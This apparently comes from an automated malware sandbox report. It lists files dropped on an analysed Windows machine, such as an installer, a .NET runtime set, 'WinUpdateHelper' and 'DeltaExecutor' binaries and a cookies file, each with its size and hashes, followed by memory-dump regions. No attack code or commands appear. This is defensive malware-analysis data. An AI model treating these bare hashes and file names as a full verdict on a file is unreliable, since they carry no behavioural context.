6a9d8ed0ece53ab01d23f198f8c2d9c2

SHA1
8488a7e5788f141c9948c66943187a2eb7bf31cd

SHA256
79e16defa1bfd8d63521f5a72658d0638f918bf8ec9132a6a71df204a1c26c3f

SHA512
a648b43a0ee7b26dbd58fcd6b4c29254b70e43927e510b92e081484d79887197dacdc428d6fa8ace77ab0a466f3d25562d49c3bb491ab413d825f5400d841de7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62

Filesize
458B

MD5
78989c02a517eddd96a56515a44ef1af

SHA1
9262e09c20bb845c60c20f6ca96c20e0409a15ee

SHA256
b5aba4afc5c74d7228007541918bec97de7fac2e6793d91fba27daa95eb2df2d

SHA512
4cb5315cb1a4fe3d973e91cb9578f260e9a86c863e9a47ee8e26ee34757c05a7ecbce0c15c8628dc438fe97377ec253dfa3b49d233a0728be415039a29a3be99

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894

Filesize
432B

MD5
e42d61ee33f38b3fc779ff74188b8de9

SHA1
81646e4f09ddd21ab1804bd9afead473b82008a1

SHA256
9cbec2492794c0ba34aae2c693c9e9fe6ae4531b1c7f7ca9cd0fec5848e250d5

SHA512
ffc6c36d5905d995a517693cb1eaed3ad71f15bc2833179302f036cd38635fb837f6f0c889bf112c699dd167fb32925a8b1fc997efdfa674ca567a46c49f3445

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DABA17F5E36CBE65640DD2FE24F104E7

Filesize
276B

MD5
6910afb76891093a6f6fe0e89a349496

SHA1
9eb3762fae4234f382530612c9596c57146c344a

SHA256
c35e05c33149af889145f190d6033043d471d963f8324cf4547cd185bc4eec83

SHA512
6d2afc59d46c136c637e48a5ac0b6916d531ebd65af682d36ec97f57c1ad44b1f7868a692101b593abd396365e13101b8dfff8262bd1472af65e603a3cad962c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
242B

MD5
a4e4861b78889d516c32784902edd676

SHA1
34a488a6bb9314f19acc2c14e2a65483a0ef8e1a

SHA256
b653936119f79ed21a7695c508fed4734932243e460bf9a99e053a13ff965ae0

SHA512
d0a72b4af58c5eca0a66b2c26ccb224a83705354c6f89ced8850df3b7d297cb3b15c4b49a221aa85ece69f367ef188083aeb93d1044dcf2195a30dcddd681c8b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HHT5LGG0\EzExtractSetup[1].exe

Filesize
4.4MB

MD5
7399ebe1e1b9c99f3cb4a2521d424384

SHA1
7a560782421feb72b1e84f162cf0abd0809fda28

SHA256
4704846c5605552a2573aeb62f176630fd2ba5498457420c3fb36a27cae6800f

SHA512
80b6b5b2a93656211073560e3eb93063edec44d54a4346b64cab5898162936d3109e7d213d73a93e50ce3a20d163ce6f8eb27e3f31e72bae6c684e528413981d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPQ313RR\css[1].css

Filesize
545B

MD5
fc88c3120d7e27957298a3fde56ad4ba

SHA1
9922066034dbb0dce5b4affb4b1d209521a1df2b

SHA256
e8246c7b1227810ab5f71cdaa905072c7374a17190fc1377ca8e155edd4a4699

SHA512
9b08244cc28e845e8557c83389690ca4f4ea5a855188cb4e73dde4a99f248434703636f37be2b950bd6e97821630739e1c32bf139707fa273f43dc4c1a6c3b3f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPQ313RR\dl.min[1].htm

Filesize
17KB

MD5
08d190d8b4dca39922dc4b613a2283b8

SHA1
3ccaa66c506d0b79159836f7fcd6044fda78049f

SHA256
f878295a13ab9f922ba046207c3cb9da598d0e00cca7d488ef0cd15fc866c574

SHA512
8ee6c01dca035fa8df0fe2ece2099c22f00d3d5b1d63466b9445ce6e355f1de09fa3b1e3a422de9c3856030af5026487669c306c0db7172b705240a83ba3bdac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\UQFHO95Z\7z2201-x64[1].msi

Filesize
1.8MB

MD5
50515f156ae516461e28dd453230d448

SHA1
3209574e09ec235b2613570e6d7d8d5058a64971

SHA256
f4afba646166999d6090b5beddde546450262dc595dddeb62132da70f70d14ca

SHA512
14593ca96d416a2fbb6bbbf8adec51978e6c0fb513882d5442ab5876e28dd79be14ca9dd77acff2d3d329cb7733f7e969e784c57e1f414d00f3c7b9d581638e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab83C2.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\System.Runtime.InteropServices.dll

Filesize
50KB

MD5
38b03b1d2cf2ec0882bdc35b75bad949

SHA1
cff00dbc2a4f0b2265f462d94a8d5a484ec04dfa

SHA256
0ad8892c72e216a4c12793dd6045e3e88413b42716c2020ddb0cce3266d12cb2

SHA512
d1ab7306313e3009a270aebc839c3f5532107ab85ca975e4d4fe509ff86f59ba04e7909ddade0872900b9aa1c3e989187d4a9bb37ed5a1560554bfb98d990792

Download Submit
C:\Users\Admin\AppData\Local\Temp\System.Runtime.dll

Filesize
41KB

MD5
6f1dae472a14ae8466bef121470c2e14

SHA1
d62ff33d7b34a5e99f3e8038b3d491b9587e6c78

SHA256
1048754b003ec6e9815e1fe328901c0d952c4babc997ca5bc4c4085fcd4b2377

SHA512
0d3d3982943fbc54f37546ba17c1068d6fdee4417ad00b6a4b055985bf8c72bab7a7e63918b3e27186ecde19734695824c585b26fde3b22a6279b30cd2799cd6

Download Submit
C:\Users\Admin\AppData\Local\Temp\System.Text.Encoding.Extensions.dll

Filesize
15KB

MD5
25087ef7b75cd416efdefe229d735c51

SHA1
27d3d2ac34de956a41987aaf769d8e4dd9915788

SHA256
09cac9c6839cb028c2a05aa3407fc64756f245a6cafcd372debf411b82f722e8

SHA512
f6bad76d5ae10382a42b917ac3fa0708ed9d25155c12a4be91fd51e2d07403cffc835b66e0234c0a38e62581087b4bc795d16599db07acec1b98f401a5226054

Download Submit
C:\Users\Admin\AppData\Local\Temp\System.Threading.Thread.dll

Filesize
15KB

MD5
5cab51a6a205eb3b3fa232bd4e8e6cf5

SHA1
648a512d44063d6ff5285054c5c795abc29e213c

SHA256
fb1faa1f70491e085d7ef0a27ad789126d8f3662c121d091eeec52eeb3e0313a

SHA512
1ec0afe7d6ccf8e5754987b60f7cd90e9e2cf4a2f0f549c707ebe296c2385f5aea5cf3fd59a15beb93267c65c8d9e9c930a5a07d5386ca1df892c8b3ae0974a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar83E4.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinUpdateHelper.deps.json

Filesize
33KB

MD5
64a780afe42da01052f1844e4a33cb2d

SHA1
9b487e249e30b120026e8994a420d89fd9091799

SHA256
10f481bf9bce9318a79d5dc5bd17e19908b5ed419062c70a1a7e400992d8da86

SHA512
0a277cb89598262d62b90fd994be478e9ed7d4b25c95fa06885393b730ef1a59443aea89f0c3fdd370a90c41cd2b0f7cffacb3d80619c016c2910364d14364f3

Download Submit
C:\Users\Admin\AppData\Local\Temp\hostfxr.dll

Filesize
369KB

MD5
a4431266f13f98d48a2f2b10fd2d8a71

SHA1
950887332a47091ab9102f3fa3cfeeee756734d3

SHA256
88945e1fd1b63c3d941f67e6cf161680f1288c97fb7ac6028d2645477708f124

SHA512
97f5f2a44ffda2bb148ee54aeeb72a246ecf9bc03b48561826bf6a1c8fc6accb5177c8ecfe8f10b93b0bb35f1fc9cc250dc3a0c99a30f1f70b7f19338f6c193b

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjA343.tmp\NsisPlugin.dll

Filesize
280KB

MD5
1d0e98e6817a35237509731e1398b47a

SHA1
2690a72941f1641495a1cf51ebf5399987a74e5c

SHA256
23abc9395b36419700f31b507f13a189ec2eeb70c7e1a1fe9406c2b9e0728298

SHA512
5cf919baa11e3cdc3518a351e206a5dc84bb1beaf933194d27fb0a96edbc6b90a58106c45a357e8c7af9de815b4e74cf5e42a22bc91b5fac02bb386a6638d0ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjA343.tmp\System.dll

Filesize
12KB

MD5
cff85c549d536f651d4fb8387f1976f2

SHA1
d41ce3a5ff609df9cf5c7e207d3b59bf8a48530e

SHA256
8dc562cda7217a3a52db898243de3e2ed68b80e62ddcb8619545ed0b4e7f65a8

SHA512
531d6328daf3b86d85556016d299798fa06fefc81604185108a342d000e203094c8c12226a12bd6e1f89b0db501fb66f827b610d460b933bd4ab936ac2fd8a88

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjA343.tmp\modern-wizard.bmp

Filesize
25KB

MD5
cbe40fd2b1ec96daedc65da172d90022

SHA1
366c216220aa4329dff6c485fd0e9b0f4f0a7944

SHA256
3ad2dc318056d0a2024af1804ea741146cfc18cc404649a44610cbf8b2056cf2

SHA512
62990cb16e37b6b4eff6ab03571c3a82dcaa21a1d393c3cb01d81f62287777fb0b4b27f8852b5fa71bc975feab5baa486d33f2c58660210e115de7e2bd34ea63

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjA343.tmp\nsDialogs.dll

Filesize
9KB

MD5
6c3f8c94d0727894d706940a8a980543

SHA1
0d1bcad901be377f38d579aafc0c41c0ef8dcefd

SHA256
56b96add1978b1abba286f7f8982b0efbe007d4a48b3ded6a4d408e01d753fe2

SHA512
2094f0e4bb7c806a5ff27f83a1d572a5512d979eefda3345baff27d2c89e828f68466d08c3ca250da11b01fc0407a21743037c25e94fbe688566dd7deaebd355

Download Submit
C:\Users\Admin\AppData\Local\Temp\~DFBAE4000363108408.TMP

Filesize
16KB

MD5
56ff9fa60ec5594057a002754e01ff84

SHA1
79f50626bc43084bd228b145fa04b79297b9b1ab

SHA256
db7c2528ba2d8c63c0761e0ad133547e5dca4ec52167a30eb21379c299c96539

SHA512
b83b05f24af9d6391cd4247ab6f3987ca9a818a8dbb4fb98d155a43f3c69f11555f482556b26f15c225d18f63e08f6c3d2f922a953622b5120e0a241d5315667

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\6MB0VNBS.txt

Filesize
154B

MD5
d2d075cc477d3344a4004fc36ba90367

SHA1
166ac3c7f789fafa1ad66a7392f1b76276defbe4

SHA256
72d7280acf31cf81a94777076337cb32dd14cdd1c1f8b2a03ed74088591077de

SHA512
ec0f0c078e6b8bb8d792d0c68daf52dfd704831098548e343272bdcc818c67409c346f7157d436a43d54d85caabb227215f5fbaf4437173804737c6d3c055939

Download Submit
\Users\Admin\AppData\Local\Temp\7zO098699C6\DeltaExecutor.exe

Filesize
169KB

MD5
a614a895161a44b174f8b0c5e0d94adf

SHA1
1594a374c81ee36ce6dcff56f13169c4400b8714

SHA256
d6f67c596a3017fab0f6908f38de0f996fe8742dc7131d491343d128d96564f6

SHA512
3e7f9116b528ff8a2aef56f006f8f5c231dcd0fd3e951ce4b3a0582a4429836bcded1469ba7c3ff41d59bafcee05d77150ced675c8b9fe69f17ff734de5ee981

Download Submit
\Users\Admin\AppData\Local\Temp\System.Collections.dll

Filesize
258KB

MD5
7f99540073810866c551a48ba22dbcdd

SHA1
8d07b9c89fe884ed04f762b79a9a9572a8c8f575

SHA256
12e621a0cfe6a28b22246ba06a65b832c9f11aca62ca0222265906480f01b90c

SHA512
a759a0fcbb9596f07e75e96d81c3c7e532e19f355ff1bc9437c7f8c817905be2550f427c836e8e6a5cc300f01ecbdf3070df55bc67e6e4ab9d8b99d747e88903

Download Submit
\Users\Admin\AppData\Local\Temp\System.ComponentModel.Primitives.dll

Filesize
73KB

MD5
fbd7ab0a2b86514ee3fe03d3a1b89adb

SHA1
0a94fb21af27624657253a94267f9cc8e4bc0e87

SHA256
9d68be843b0493b015cbc54ebb861631202d23cf5871b527523083de29102b48

SHA512
dba8f9148200b2beb383b17646d152e6e1c453da2183a672d9cd54bd5f11eee06370d6c08e2659c80f308f984f91da2af37f083ac900fda121f50cda6c974ecf

Download Submit
\Users\Admin\AppData\Local\Temp\System.Console.dll

Filesize
153KB

MD5
3fe0d98fda1fedbc8aa7dcb05de92805

SHA1
11c3703db5e16c174bd3d64dbb2f558d06cb736a

SHA256
dd2c6992c14120d0d758f778d5d390fe340d745a00cb0c93452b5ff23db13306

SHA512
da3ebd66b3a2a03d15c5b9a7cccf95274e3c8b6c97f312fd6fbf7b64ad3c99533b8e6eb34fbafdff612ae9808449e4174dce28ad1c56cebff2eb09cdd4c09a7e

Download Submit
\Users\Admin\AppData\Local\Temp\System.Diagnostics.Process.dll

Filesize
283KB

MD5
a688b390880e4ba55b2a4e52a6efb5c4

SHA1
10d8a6ac8d7f3cd999ac8046d4c774c72541d44c

SHA256
b47fa6c38902eb8af6745a6f968bbf79ba9e35c7b41d9d48975d87b1f8bfaa59

SHA512
c18cee38d818e5d2256e640b411aa6b744a7f4e326ea67a73de07f766c57e308e10200b40c58ef9da8ef9529b7d041851d5b00cbddf4f804cd9e34dce369e6f2

Download Submit
\Users\Admin\AppData\Local\Temp\System.Linq.dll

Filesize
525KB

MD5
4038f1c2bb864a85d045cb5ca7bb90ba

SHA1
2b7eb37acf9ce051e5a8d6fda79f6147dd49d5a7

SHA256
8f526784997a07aa611bce91bb33937dd4a686980af6b857b24ad39cc1bfec2a

SHA512
163e2545ba65ce80c3071235bfdf65368b4c602837bf7e134aa188094db393c34490ed81faff58a8b8d7c485695f191e2dec850dc49ca4a0a5016db7b05dbcee

Download Submit
\Users\Admin\AppData\Local\Temp\System.Memory.dll

Filesize
169KB

MD5
77944f96068a26ce10286d2085529515

SHA1
2b8f26f4541ba13ddfc373d112ece8a0e64c37c7

SHA256
b4ae699b19b7257605680dbd61127707444695e1207c2edc3213f597729cba1a

SHA512
3e6e92f9f140c9711788f1e6dfc473aa59c40ab31da87b398f6f8eb00dad2902c02e3c3f686a15668297bda5d5f3b3aff8ccd7dc0b1eba5d28b7a2d6bbb5095d

Download Submit
\Users\Admin\AppData\Local\Temp\System.Private.CoreLib.dll

Filesize
10.1MB

MD5
c8ebfcfd8c7a69e30d45b4498ece29d0

SHA1
8601203764578ff3f3d853dc56c4c6093dad535e

SHA256
620a4b11fb37ab997950870b06fee3038c5922a052e06871b9c1a7e1a19c1262

SHA512
6ae4d77cd1758d2b738e794e6661cd9c8a984007386ea4c902f03f11a01f8da691c77614b66648f8a67c02560743fd29cc5a834adadc3e08dcdb7a0932db75d2

Download Submit
\Users\Admin\AppData\Local\Temp\System.Threading.dll

Filesize
78KB

MD5
e546c2554286bd698fb80751692f1dff

SHA1
5ae28e9deadc4a99a506e838521862e4cb6fb997

SHA256
33437c83104c63f8178a5c737d2600082a129813b405d0262e5312a453e09121

SHA512
7bc78387eb89fd6e9cc88ac908f8b996c4b35ffde4ca029bd6eb95eac1711af06a63848d0724b96f7a22a483e680ce81283313c8655c554e8e2a0939c3b47848

Download Submit
\Users\Admin\AppData\Local\Temp\WinUpdateHelper.dll

Filesize
91KB

MD5
a1ba93a916b3078e8b640807c07ce1e7

SHA1
01f88dccdb8d44d2b0a160ce038ff970aa799aeb

SHA256
4135754b26dfac10cd19dcf6e03677b537244cf69fdce9c4138589e59449b443

SHA512
3c62713d2e83144e82c644a752b77ddac4652542b11416eea8289209dfa783aac54ae347ec80d55260a11f10c7829a91021e55d05af04f2404a0f19354b91431

Download Submit
\Users\Admin\AppData\Local\Temp\clrjit.dll

Filesize
1.4MB

MD5
92795535f2855d02685a78985d2f3d28

SHA1
46b3963b46086e370598194c428cb2d7dca36e27

SHA256
7399b0efe5b3d0a9656f35a7317c9210dfda4374fbba7b2fd07671a5855a9345

SHA512
151a8f8bbe56ef7f5a2490dd9c17990214ada7574e8db43c4f0171d2d02f36238010276d8214bbcedca4fb627dfb4aa0a7d75b42cb3a3d99e1fb003e3e04cd59

Download Submit
\Users\Admin\AppData\Local\Temp\coreclr.dll

Filesize
4.9MB

MD5
cbb2f646b9b2a67dad68c35bbc7cb7c8

SHA1
e8b79e2ddb8b8394f89489745a6e2a8ddf40622d

SHA256
c6e05a6d8433f111916f2b107b765a9159f41fa1c7a5d8e267645dbd6734d737

SHA512
7019fa6ee9e597f39c6b3976261cca80d3ca1e853a4821b30a3ff0bc871a258551570d136fd5b76a9d2ef3224118812bd3a790bc85710482d9fa34f96f4c87d5

Download Submit
\Users\Admin\AppData\Local\Temp\hostpolicy.dll

Filesize
384KB

MD5
04aebb8b06cbfa10de7225f2ae76f98f

SHA1
41de2e10ec2f2a6b2c19c08e8e82eebbf4f47846

SHA256
bfc1c6dd5eed11e15882a3d9e85c63a942a10f81c82d21bb0e7a190ba2d49a91

SHA512
5e8e74940793438672a91e5e9489b1e0a20fc26d094c5f636be561f5d28e00cc04a81a9443e7b97cc68bd00de0951b92f9f867293747f5d9b7d7113d9dd664a4

Download Submit
\Users\Admin\AppData\Local\Temp\nsjA343.tmp\INetC.dll

Filesize
25KB

MD5
40d7eca32b2f4d29db98715dd45bfac5

SHA1
124df3f617f562e46095776454e1c0c7bb791cc7

SHA256
85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

SHA512
5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

Download Submit
memory/296-1204-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/296-1205-0x0000000002010000-0x0000000002018000-memory.dmp

Filesize
32KB

Download
memory/1524-122-0x0000000002A10000-0x0000000002A18000-memory.dmp

Filesize
32KB

Download
memory/1524-121-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2408-591-0x0000000001330000-0x000000000140E000-memory.dmp

Filesize
888KB

Download
memory/2408-618-0x0000000000350000-0x000000000035A000-memory.dmp

Filesize
40KB

Download
memory/2408-593-0x000000001B0B0000-0x000000001B1F6000-memory.dmp

Filesize
1.3MB

Download
memory/2408-594-0x0000000000350000-0x000000000035A000-memory.dmp

Filesize
40KB

Download
memory/2784-658-0x0000000003D10000-0x0000000003D20000-memory.dmp

Filesize
64KB

Download